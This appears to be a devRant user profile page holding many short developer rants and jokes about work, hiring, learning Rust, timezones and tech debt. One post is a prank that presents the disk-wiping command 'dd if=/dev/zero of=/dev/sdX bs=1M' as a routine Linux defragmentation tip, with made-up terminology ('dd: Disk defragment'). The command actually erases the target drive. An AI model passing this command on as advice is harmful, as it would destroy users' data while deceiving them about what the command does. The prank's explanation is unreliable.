Details
-
SkillsPython, Java (Android), C
Joined devRant on 12/26/2017
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
If a CPU were an employee...
CPU: Hey boss, I'm seeing you are giving me a lot of mathematical tasks that would really profit from splitting into parallel calculations. GPU's are great for that, we should get one.
Boss: But you can still do them, right? If you can do it, I'm pretty sure you can do it at GPU speeds. We gotta save up so I can buy another car!
----------------------
Boss: Why is this taking so long?
CPU: I'm overloaded with work, so I'm overheating. Maybe you could buy a GPU to help me out, or at least a fan...
Boss: You're overheating? Your personal problems should not affect your professional life. Learn to get your shit together or we will hire someone who will
CPU: *melts*1 -
The Tale of Mouse and Watch
Once upon a time, a mouse wanted to know what time it was. So it asked the first guy who came along, but it didn't understand Suaheli. Anyway, he just had mumbled, gotta kick the cat in its lazy ass.
So the mouse moved on and nearly got it when it met another mouse who bad been sewn to a dead elephant's ear exactly 27 years ago - but unfortunately, it had forgotten the time of day when that had happened.
The seeking mouse came up with the idea of doing something with the sun, but since it was only dumb mouse, it looked right into the sun and was blinded.
Now pretty desperate, it tumbled through the gutters that were full of trash. Accidentally, it fell over a dumped watch, and the mouse broke its nose.
The lesson: sometimes, even a blind mouse may find a broken watch!5 -
📚What book would you recommend to software developers and why? 1 book per reply so people can ++ them.16
-
After brute forced access to her hardware I spotted huge memory leak spreading on my key logger I just installed. She couldn’t resist right after my data reached her database so I inserted it once more to duplicate her primary key, she instantly locked my transaction and screamed so loud that all neighborhood was broadcasted with a message that exception is being raised. Right after she grabbed back of my stick just to push my exploit harder to it’s limits and make sure all stack trace is being logged into her security kernel log.
Fortunately my spyware was obfuscated and my metadata was hidden so despite she wanted to copy my code into her newly established kernel and clone it into new deadly weapon all my data went into temporary file I could flush right after my stick was unloaded.
Right after deeply scanning her localhost I removed my stick from her desktop and left the building, she was left alone again, loudly complaining about her security hole being exploited.
My work was done and I was preparing to break into another corporate security system.
- penetration tester diaries2 -
I think I may have shared this a while back. Just played with this a little for fun. I was playing with an ESP8266. Apparently it takes very little code to turn it into an access point and have it redirect to a landing page just like a hotel wifi does. Every platform I had connect to the AP seemed to work properly. I setup the AP without a password and let people log in. I named the AP "Virus Distribution Point". Here is what they would see:
https://htmlpreview.github.io//...
Don't mind the name of the repo. It is a junk repo I made for making mom jokes.6 -
You’re my friends! Right?
… right? 🥺
But in all honesty, it’s this and Virtual Coffee for me. I’ve made so many friends from Virtual Coffee (https://virtualcoffee.io). ❤️11 -
Recipe of cold coffee.
Step 1: Make Coffee
Step 2: Start Coding
Step 3: Forget you made Coffee
Step 4: Drink it Cold
Don't say thank you I understand!33 -
Remember to regularly defragment your drives on linux. use this handy command.
dd if=/dev/zero of=/dev/sdX bs=1M
Terminology:
dd: Disk defragment
if: input file (the pattern to search for, and should always be /dev/zero)
of: output file (your disk, /dev/sda for instance)
bs: blocsize 1M is fine here16 -
I come from a front facing retail background. And I start my first developer job on Monday. It is also fully remote. They said I can take mental breaks whenever And unlimited pto as long as I use it wisely and don’t abuse the hell out of it. It’s a small company of like 75 people. They don’t want us working past business hours unless it’s urgent and something breaks.
Im like “uh what? You’re not going to yell at me for taking a 5 minute break after a homeless meth head screams at me and waives a wooden sword at me trying to hit me?”
It just feel like this is a grown up job. Like a professional job. I feel like I have work ptsd from being mistreated in the work place for 8 years. It doesn’t feel real. Does anyone else feel like this?9 -
Type letter "w" in wife's browser
"What is the ratio of open to closed doors in the world right now?"
"Why doesn't my baby molt her skin all at once while she grows?"
"Will Python help me to make a robot friend for my toddler daughter"
"Where do I buy tensors for building robot brains"
"Why don't we solve aging population and climate change by not vaccinating boomers"
Me: ... "Seriously, why can't you just watch hardcore porn, like a normal person"25 -
I think the weekly rants just exist because @dfox & @trogus got banned from stackoverflow and they still have questions.
When it comes to learning cutting edge tech... Go build already!
I found Rust intimidating.
I read the first few pages of the official book, got bored, gave up.
Few months later, decided to write a "simple" tool for generating pleasing Jetbrains IDE color schemes using Rust. I half-finished it by continuously looking up stuff, then got stuck at some ungoogleable compiler error.
Few months later I needed to build a microservice for work, and against better judgement gave Rust a try in the weekend. Ended up building an unrelated library instead, uploaded my first package to crates.io.
Got some people screaming at me that my Rust code sucked. Screamed back at them. After lots of screaming, I got some helpful PRs.
Eventually ended up building many services for work in Rust after all. With those services performing well under high load and having very few bugs, coworkers got interested. Started hiring Rust engineers, and educating interested PHP/JS devs.
Now I professionally write Rust code almost full-time.
Moral of the story:
Fuck books, use them for reference. Fuck Udemy (etc), unless you just want to 2x through it while pooping.
Learning is something you do by building a project, failing, building something else, falling again, building some more, sharing what you've made, fighting about what you've built with some entitled toxic nerds, abandoning half your projects and starting twelve new ones.
Reading code is better than reading documentation.
Listening to users of your library/product teaches you more than listening to keynote speakers at conferences.
Don't worry about failures, you don't need to deliver a working product for it to be a valuable experience.
Oh, and trying to teach OTHERS is an excellent method to discover gaps in your knowledge.
Just get your fucking hands dirty!12 -
Read source code and unit tests. Don’t bother documentation cause it’s outdated. Dig into the core, look where data goes in and where it gets out. Everything else is just a wrapper.6
-
1. I join a company.
2. I get deeply involved in "how to run the company", and get nice compliments from both coworkers & management about my skills in conveying startup/scaleup advice & necessities to upper management.
3. With my ego inflated through all the sweet talk, I think "ah, what the hell, let's do this again", and I accept a Lead/CTO promotion. I have to join board meetings, write reports on quarterly plans and progress.
4. I get unhappy/stressed/burned-out because I really just want to be a developer, not a manager/executive.
5. Upper management understands, I give up my lead position, lock myself back into my coding cave.
6. I get annoyed because the requirements I receive become more and more disconnected from reality, half of the teams seem to have decided to stop using agile/scrum, the testing pipeline breaks all the time, I get an updated labor contract from HR by mail which smells like charred flesh, etc
7. The annoyances become too much to do ANY work. I yell at the other devs outside of the entrance of my cave. There is no answer, only a few painful moans and sighs.
8. I emerge from my cave. The city has turned into a desolate wasteland. The office is a burning ruin, the air sharp and heavy with black soot. Disemboweled corpses of developers litter the poisoned soil.
Product Managers dressed in stained ripped suits scream at each other while they try to reinforce concrete barricades with scotch tape and post-its. *THUMP* Something enormous is trying to break through. "Thank God, bittersweet, you're still alive! The stakeholders! They have mutated! We couldn't meet the promised deadlines! We've lost the whole mobile app department, and that kid there is the last of the backenders and he's only an intern! You're here to save us, right? RIGHT?".
In the corner, between the overflowing coffee machine and a withered cactus, a young boy has collapsed onto the floor. His face is covered in moldy coffee grounds, clasping on to his closed macbook for dear life, wide-open eyes staring into the void, mumbling: "didn't backup the database, and It's all gone" over and over.
A severely dented black Tesla with a dragging loose bumper breaks through the dried up vertical herb garden and the smoothiebar, and comes to a halt against the beanbags in a big cloud of styrofoam balls.
The CEO limps out, leaking blood all over the upholstery. He yells to the COO: "The datacenter is completely flooded with sewage! I saved the backup tapes though", holding a large nest of tangled black magnetic tape mixed with clumps of mud above his head.
9. I collect my outstanding salary and sell any rewarded options/shares for a low dumping price, take a 5 month holiday, and ask a recruiter about opportunities in a different city.14 -
Minimum wage employers and restaurants asking "and why should we hire you?".
You have 40 vacancies in your area for just your company alone.
You're paying $13.25 an hour when only a year ago you were paying $9.75.
Why should we hire you?
F*ck you, pay me, that's why.
You're not f*cking NASA
You're a God damn chain restaurant with a 40% turnover rate, who's employees probably shoot up in the bathroom on the rare occasion they even get a break.
I looked at the guy with all the annoyance I could muster, stared him down for a good five seconds and said. "You pay a few dollars over minimum. You're job is not important enough to even ask that question. Have a nice day." And got up and left.
Dude followed me and stuttered " hold up. I was just..."
But I was already out the door.
You were just what mark? Asking a dumbfuck question as if you had any leverage at all?
Your competitor *across the street* is offering 50 cents *more* per hour, and has guaranteed breaks.
What, did you forget 2008 and how you treated millions of people as disposable? The little part where you and most american industries demanded passion, without pay raises? Promotions without benefits? The jobs that if you worked hard, rather than a promotion or a pay raise, your reward was more work and less hours to finish?
You assholes thought we forgot about that? How you shipped millions of jobs overseas, blamed it on "automation" (chinese and indian slave labor), and then pointed the finger at millions of impoverished people as "lazy" in places like Detroit and Pittsburgh and told them "you just got to work harder and smarter!" Or "just get a small loan and create the next google!" from the comfort of your yachts? I'm looking at you bane corp.
No, now the shoes on the other foot motherf*ckers. Hows it feel needing all *us* commoners? "Why should we hire you?"
No, why should *I* WORK FOR YOU?
Cuz I saw THREE dirty tables coming in. A line of people that could be being served. A line that could have been optimized with the proper table count and some simple changes. A menu that doesnt even incentivize your biggest sellers and a dozen other things your store is doing wrong.
Think mark, think!
This is one of those braindead questions employers paying sub $18 an hour ask, because they suffered so much brain drain from years of payola profits from too-big-to-fail wallstreet bailouts, that they forgot they are not king midas, unless they are the king midas of shit, because increasingly everything corporate America touches turns into shit.
And while were on the subject, stopping bringing in outside management to stores. It destroys team cohesion, staff morale, pisses off people *on site* who *actually know* the team, the stores daily activities and processes, and who are better fit for that role. You bring in disinterested outside management, and it's one of the biggest red flags I've ever seen: these smarmy selfcongratulating f*cks who know nothing about the particular store, have no connection to the staff, go on firing sprees or alienation-sprees to hire in friends, fuck up the schedules because again they know nothing about the employees, and then move on after a few years to greener pastures, leaving a barren radioactive wasteland of chain smokers and burnt out staff in their wake.
Dear corporate America, your free ride on the public's good will is over. It's over.
Now you're in the bitch seat. Come sit at my desk and explain to me, EXPLAIN TO ME, why I should sweat and labor to save your shitty company hemorrhaging money like a bleeding crack-addicted hobo dying with a sucking chest wound from a chicago skidrow friday-night drive-by?
You dont deserve it. Your management and company culture is worse than incompetent. It's full of smiley guys expounding about their passion for customer service while giving each other sloppy BJs in broom closets, a veritable cornucopia of cult-like corporate dick suckers *and* dickheads, proclaiming, no...PROFESSING (hence "professional") their undying allegiance and dedication to their corporate family with the intensity of cujo, foaming at the mouth, or Mitt Romney preparing for a photoshoot, plastic smiles and feigned laughs.
Dont forget to wipe your chin, asshole. It's not Ronald McDonald your blowing, but it's definitely not Gordon f*cking Ramsey either.
Would you like fries with that?88 -
A seasoned colleague just wrote this and I think it was very valuable:
On tech debt:
So the big challenge with technical debt is making non-technical management (CEO, COO, CFO, directors) understand what it means, and just how it operates. Sometimes it actually makes good sense to incur technical debt to get to market sooner, just as it sometimes makes sense to borrow money to get cash now and repay that loan later with (hopefully) resulting greater revenues from that investment. But just like a loan, tech debt always has to be paid some day. The longer the tech debt goes, the more expensive it gets. And also like a loan, the cost compounds, like compound interest on a loan. Tech debt should always be chosen with a clear plan to pay it off at some point in the not too distant future. The longer one waits to pay it, the more expensive it gets.7 -
Me to HR lad: So yea I need you to process my resignation
HR lad to me (*silently whispering on phone*): I’ve resigned too. Good luck.2 -
Timezones. So, general rules are:
1. If you don't store timezone, always use and assume UTC. Databases, backends, whatever you use, all time must be kept be in UTC.
2. If you store timezones, ensure you store them everywhere and don't drop them anywhere.
3. It's always better to ignore backend server time in favor of database's `now().` Having a single source of truth makes time consistent (if it's the same database, obviously). If you combine backend time and database time, you likely get a violation of causality.
I've just spent a couple of hours investigating "weird random one-hour time drifts on updates." Guys violated all three rules above:
- they didn't store the timezone;
- their servers had inconsistent timezones. Java was in +XX., while the server itself in UTC. On one host, they forgot to put JVM in the same timezone;
- they dropped the timezone because they thought it was the same everywhere, so there was no point in serializing it.13 -
Transistor sizes are getting smaller and smaller by the day, though we cannot go below the size of a virus due to compartment limitation but the tiniest is smaller than a DNA.
Having chips designed at such a tiny scale looks more scary to me than amazing. Imagine my manager screaming at me, I can give him a slap on the face and infect him with 1 million A8 chips. Now that would be amazing because I just successfully turned him into an iPhone 6.
Me: Hey Siri, what's the weather now?
Manager: 32 degree Fahrenheit, high wind, low humidity.
Me: Yeah that's what's up, you won't be needing an upgrade anytime soon.9 -
While scraping web sources to build datasets, has legality been ever a concern?
Is it a standard practice for checking whether a site prohibits scraping?25 -
Great news, our company's has a brand new security-first product, with an easy to use API and a beautiful web interface.
It is SQL-injection-enabled, XSS-compatible, logins are optional (if you do not provide a password, you are logged in as admin).
The json-api has custom-date formats, bools are any of "1", "0", 1, 0, false or null (but never true). Numbers are strings or numbers. Utf-8 is not supported. Most of our customers use special characters.
The web interface is using plain bootstrap, and because of XSS it is really easy to customize everything.
How the hell this product got launched is beyond me.10 -
Dear devranters,
Recently, i stopped liking the job that I used to love. not because i got bored of the work, but because of the company politics and drama.
All in all i feel very disrespected and treated as just a pawn to do whatever management feels like. I am tired of being promised things and management going back on them.
I have decided to try to make my own software company. as small as it would be. just anything where I am not anyone's slave or "employee". I want to be the boss for once... and not wait for someone to give me my salary and telling me to be thankful for it.
my main concern is gathering clients. If you can suggest a few ways in the comments id be grateful19 -
My (younger) brother used to be way better than me at programming. He was making all this cool stuff (mainly Arduino).
I learned to program to make cool stuff like him basically. I learned Python to start since someone told me it would be easier to start with (it was).
I made a bunch of small programs (shitty things to help with homework, text based game, etc).
Eventually took programming classes in university.
Now I do C++ for a living. -
Damn simulation.
Some juniors grabbed keyboard and reprogrammed main species to stay at home and fear of death while I was busy working with other features.
Moreover someone made additional changes from infected computer and guess what....
Unfortunately it’s real time system with increasing entropy and we can’t revert changes so fixing damn shit would take from one to two decades.
We don’t have backups cause last time we used them we also killed dinosaurs.
It would be just easier to erase everything and start from beginning cause our statistics charts are fucked up - again but motherfucker boss don’t want to do it.
He’d rather teleport again to adjust the world. Damn fucker thinks he’s god but in fact he’s just prick with rich parents.
I’ve decided to piss him off by adjusting planet thermostat so we can start over.
2 years more and changes would be irreversible.
Damn job.6 -
Network code is hard. Events come all the time and it's really difficult to account for all orderings and uncanny timings. Have you got any advice, book or paper about it that I should read?
I'm using node and websockets btw.7